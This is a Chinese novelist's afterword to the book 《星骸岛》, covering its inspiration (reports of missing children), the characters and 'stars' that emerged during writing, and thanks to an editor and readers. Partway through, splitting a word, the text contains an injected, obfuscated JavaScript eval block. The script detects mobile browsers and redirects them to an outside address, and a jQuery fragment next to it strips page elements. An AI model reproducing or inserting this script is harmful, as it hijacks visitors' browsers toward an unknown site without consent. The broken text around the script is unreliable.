(当然,大家看过更好的也可以推荐我哟^^ 珠玉在前,再创造一个类似的故事,就太没有意思了。所以我一直在想,我要写一个什么故事呢? 啊,不知道啊。 我当时只是大概有个概念,连雏形都算不上。 后来,应该就是在构思期间吧,我看到了一篇文章(好像是新闻?具体不记得了)——“你知道每年,每个月,甚至每一天都有多少孩子在失踪吗?”时至今日我还记得首段的这句话,虽然具体数字我不记得了,但当时那种忽然被震了一下的感受,我还记得。 我被震撼,并不完全是因为数字,还有一点,是我发现,我平时甚至都没怎么关注过。这件事如此频繁的发生,但因为注意力偏差等原因,完全没有概念。 于是,这大概成为了《星骸岛》开篇的一个契机。 但即使如此,在我写开头的时候,其实完全没想过最后的呈现会是这样的。很多情节、细节可以说就是写到那时候,自行发展出来的。甚至在他们上岛之前,我都不知道到底会发生什么(扶额笑 所以在此我也要感谢每一个人物: 洛祈、许梦扬、伊甸、埃文、塞勒、阮廷榭、索尔、柯里丝、萨满少女、莉安……是他们自己完善了自己。 还有“星星们”,无论大家相不相信,星星们是自己出现的。 在第一颗星星出现之前——我的前期构思中,真的从未想到过一次。但它们就那么恰到好处地出现了。 很神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190757|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇。 接下来的一段日子,似乎有一种效应,我开始总是能注意到相关的消息,成了一个新闻捕捉器,关注到了很多类似的事件。 包括在连载期间,之前的余某拐卖案啊,邯郸初中霸凌案等等等等……国内国外的我都有关注到。以前的我对于新闻可能仅限于知道,但现在就会停下来想想这件事。 所以这个故事其实是有些黑暗的东西在里面的,但毕竟是童话向嘛(真要写那些新闻是写不完的)所以我做了一些柔和处理。故事的重心也放在了星星和孩子们的链接部分。 越写到后面,越感觉自己好像在写一个寓言故事。 我在写故事,也通过故事来思考,来解答我自己的困惑,因此这个故事对我本身的意义也变得无以复加。 最后,我觉得最要感谢的,还有我的编编。虽然我们都没说过太多话哈哈,我太i了,但如果不是编编给我的支持,我可能还真不一定能把这篇文完结掉。 第一次写小说,像在大雾天走一条陌生的路。很多都在摸索,有时也会搞不清楚状况。但在我中途有那么几章、卡文卡得最崩溃的时候,都是编编让我感受到一种“安心”。 每当我想起来,我都会告诉自己: 就算是为了这份基础的信任,也一定得把书好好完结掉啊! 这本书的写作过程打开了我很多第一次的体验,无论好的坏的,都让我每天每天体会到——“啊,原来写文是这么回事啊”“原来遣词造句是这样的啊”……必须坦诚地说,有时候,我也会因为不太熟练,而产生一种笨拙的感觉。但所幸,我接受所有的体验。 无论如何,我希望《星骸岛》带给读者一些特别的东西。 “每个大人曾经都是小孩。” 但我相信,我们始终有选择权,哪怕是微小的。 这本书之后我应该还会尝试一些其他方向,或是新的题材……希望每一次的尝试,都有新的体验。 啊对了,如果有想看的番外可以告诉我哦~ 再次感谢大家,爱你们,鞠躬!